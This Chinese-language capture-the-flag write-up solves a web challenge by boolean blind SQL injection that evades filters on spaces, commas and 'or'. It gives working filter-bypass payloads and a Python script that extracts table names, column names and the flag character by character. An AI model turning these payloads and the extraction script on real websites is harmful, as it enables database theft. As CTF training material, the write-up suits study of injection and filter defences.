实验吧——认真一点(绕过空格,逗号,关键字过滤等 sql盲注)
题目地址:http://ctf5.shiyanbar.com/web/earnest/index.php
过滤和拦截了某些东西,我经过多次尝试,最终构造的是
1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)='1
其中过滤了一次or,所以information里的or要双写,substr中有逗号,所以mid代替,空格则用括号代替,/**/注释符不行是因为服务器过滤了*
服务器的sql查询当且仅当返回只一条数据时才回显you are in
(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)
的值要么为假0,要么为真1,由此便可猜解
写了个python脚本
(脚本中的爆破方法是一个个字符进行比对,其实为了提高效率可以写二分法,简便点就用这个方法,还有本来我的字符集只有字母数字下划线和逗号,但是猜解列名的时候发现不完整,所以手动判断了下(id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from(3)))=36)='1&submit=),第三位是$这个字符,才在字符集里加了这个,遇见问题要灵活判断,当然这也是因为我脚本写的烂 /笑哭)
# -*- coding: utf-8 -*-
import requests strall=" !~{}_,:$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" url='http://ctf5.shiyanbar.com/web/earnest/index.php' headers={
'Content-Type': 'application/x-www-form-urlencoded'
} #fiag
def func1():
result=''
for index in range(1,1000):
for i in strall:
data="id=1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from({})))={})='1&submit=".format(str(index),str(ord(i)))
print data
r=requests.post(url=url,data=data,headers=headers)
if r.text.find('You are in') >=0:
result+=i
print result
break
elif i=='':
print result
return #fL$4G
def func2():
result=''
for index in range(1,1000):
for i in strall:
data="id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from({})))={})='1&submit=".format(str(index),str(ord(i)))
print data
r=requests.post(url=url,data=data,headers=headers)
if r.text.find('You are in') >=0:
result+=i
print result
break
elif i=='':
print result
return def func3():
result=''
for index in range(1,1000):
for i in strall:
data="id=1'=(ascii(mid((select(group_concat(fL$4G))from(fiag))from({})))={})='1&submit=".format(str(index),str(ord(i)))
print data
r=requests.post(url=url,data=data,headers=headers)
if r.text.find('You are in') >=0:
result+=i
print result
break
elif i=='':
print result
return #func1()
#func2()
func3() raw_input('done')
网站访问速度慢点话,猜解这个是真的慢!!!
还是建议写二分法!!!
实验吧——认真一点(绕过空格,逗号,关键字过滤等 sql盲注)的更多相关文章
- 实验吧——看起来有点难(sql盲注)
题目地址:http://ctf5.shiyanbar.com/basic/inject/ 首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示 1.数据库连接失败! 2.登录失败, ...
- 实验吧——who are you?(insert into注入 二分法 时间盲注)
题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 根据提示 “我要把攻击我的人都记录db中去!” 猜测这是insert into注入,会 ...
- 实验吧Web-易-简单的sql注入之3(报错的sql盲注之exp)
题目提示是报错注入,于是就用盲注技巧来注入. 这里注入时发现floor,extractvalue,updatexml被吃掉了,用exp可以注入成功.(记住大小写绕过等技巧) 1.爆库 ' or exp ...
- PING命令执行漏洞-绕过空格
目录 PING命令执行漏洞-绕过空格 这边介绍一下绕过空格的方法大概有以下几种 方法一:用变量拼接:我们发现源码中有一个$a变量可以覆盖 方法二:过滤bash?那就用sh.sh的大部分脚本都可以在ba ...
- PHP中取出字符串中的空格 逗号
preg_replace("/\s| |,|,/","",$_str) PHP中取出字符串中的空格 逗号 (包括中文状态下)
- SQL注入--显注和盲注中过滤逗号绕过
SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联 ...
- SQL注入:突破关键字过滤
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败).回车的ascii ...
- Aho-Corasick算法实现(简单关键字过滤)
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Cons ...
- 大智慧F10离线资料压缩包带F10关键字过滤软件--更新于2014-01-06.rar 184MB
大智慧F10离线资料包带F10关键字过滤软件--更新于2014-01-06.rar 移步到百度网盘下载: http://pan.baidu.com/s/1c01PDnE
随机推荐
- python实验脚本
day1 1. 任性猜数字 需求 : 猜数字, 猜3次.如果对了 就直接退出. 如果3次都错了 ,就询问 要不要继续. 实现点: 使用 whie 循环. count 进行计数.如果count > ...
- MySQL 5.5/5.6/5.7及以上版本安装包安装时如何选择安装路径
安装环境需求: 自从昨天安装了mysql 5.7,发现了一个问题,mysql5.6起,已经不支持2003系统了,如果安装了无法开启服务而且会出现在 本地计算机 无法启动 MySQL57 服务.错误 1 ...
- TortoiseSVN客户端(七)
TortoiseSVN 是一个 Windows 下的版本控制系统 Apache™ Subversion®的客户端工具. 一.安装 官网下载地址:https://tortoisesvn.net/down ...
- Provider和Consumer的搭建(六)
创建三个Maven Project: dubbo-service:公共模块,包括服务接口(packaging:jar) dubbo-service-impl:服务提供方,提供服务接口的具体实现,需要依 ...
- Educational Codeforces Round 61 (Rated for Div. 2) E 多重背包优化
https://codeforces.com/contest/1132/problem/E 题意 有8种物品,重量是1~8,每种数量是\(cnt[i]\)(1e16),问容量为W(1e18)的背包最多 ...
- [LeetCode] 862. Shortest Subarray with Sum at Least K 和至少为K的最短子数组
Return the length of the shortest, non-empty, contiguous subarray of A with sum at least K. If there ...
- 阿里开源的缓存框架JetCache
之前一直在用Spring Cache进行接口数据的缓存,主要是Spring Cache在对具体key缓存失效时间的设置不是很方法,还要自己去扩展,无意中发现了阿里的JetCache.大部分的需求都能满 ...
- Spring Cloud Gateway 之 AddRequestHeader GatewayFilter Factory
今天我们来学习下GatewayFilter Factory,中文解释就是过滤器工厂. 官方文档对GatewayFilter Factory的介绍: Route filters allow the mo ...
- ElasticSearch使用RestHighLevelClient进行搜索查询
Elasticsearch Java API有四类client连接方式:TransportClient. RestClient .Jest. Spring_Data_Elasticsearch.其中 ...
- Swagger简单介绍
一句话介绍 Swagger Swagger是一个接口文档生成工具,同时提供接口测试调用的辅助功能. 关于 Swagger Swagger能成为最受欢迎的REST APIs文档生成工具之一,有以下几个原 ...